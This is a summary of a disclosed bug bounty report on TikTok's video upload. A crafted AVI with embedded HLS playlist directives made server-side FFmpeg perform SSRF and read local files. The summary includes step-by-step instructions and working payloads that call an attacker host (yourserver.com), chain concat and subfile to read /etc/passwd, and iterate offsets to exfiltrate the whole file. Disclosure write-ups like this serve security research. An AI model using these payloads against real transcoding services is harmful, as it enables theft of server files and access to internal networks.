# External SSRF and Local File Read via video upload due to vulnerable FFmpeg HLS processing

Uploading an AVI with injected HLS directives to TikTok's video upload made server-side FFmpeg fetch attacker URLs (SSRF) and read local files via concat/subfile tricks.

- Payout: $2,727
- Severity: high
- Program: TikTok
- Found by: ach
- Disclosed: 2021-02-15
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1062888
- Library page: https://bugbountylibrary.com/r/h1%3A1062888
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high technique:source-review vuln:path-traversal vuln:ssrf

**Target:** TikTok video upload endpoint (www.tiktok.com/upload/) processed by FFmpeg/libavformat
**Root cause:** Server-side FFmpeg HLS demuxer honors attacker-controlled playlist directives embedded in uploaded video, allowing external URL fetches and file:///concat/subfile local file reads during transcoding.
**Steps:**
1. Craft `video.avi` containing `#EXTM3U`/`#EXT-X-MEDIA-SEQUENCE:0`/`#EXTINF:10.0,`/`http://yourserver.com/anything`/`#EXT-X-ENDLIST` and upload to `https://www.tiktok.com/upload/`
2. Observe callback to collaborator with User-Agent containing Lavf version (SSRF confirmed)
3. Host `header.m3u8` ending exactly at `?` byte (no trailing CRLF; verify with `hexdump -C`) containing `#EXTM3U`/`#EXT-X-MEDIA-SEQUENCE:0`/`#EXTINF:,`/`http://yourserver.com?`
4. Embed `concat:http://yourserver.com/header.m3u8|file:///etc/passwd` in the AVI HLS directives and upload; receive first line of `/etc/passwd`
5. Iterate with `concat:http://yourserver.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd` and increment `start` per line to exfiltrate the whole file
**How found:** Researcher knew the known FFmpeg HLS SSRF/LFR class, tried it on TikTok upload; initial LFR failed because the text editor appended CRLF after the `?` in header.m3u8, so they hexdumped the file, trimmed trailing bytes, and LFR worked.
**Exploitation:** Attacker uploads a crafted AVI to the public upload endpoint; server-side FFmpeg parses embedded HLS directives, fetches attacker-hosted m3u8, then uses concat/subfile to read local files and reflect them back through the transcoding output/callback channel.
**Escalation:** Line-by-line subfile offset iteration to dump arbitrary local files beyond the first line.
**Insight:** When abusing FFmpeg HLS concat/subfile LFR, the attacker-hosted m3u8 must terminate exactly at the `?` byte with no trailing newline; verify with hexdump and iterate subfile start offsets to walk file lines.

## Proof of concept (copied exactly from the original report)

**AVI with injected HLS directive triggering SSRF**

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
```

**Hosted header.m3u8 for LFR exfiltration**

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://yourserver.com?
```

**concat directive reading /etc/passwd via subfile**

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
```

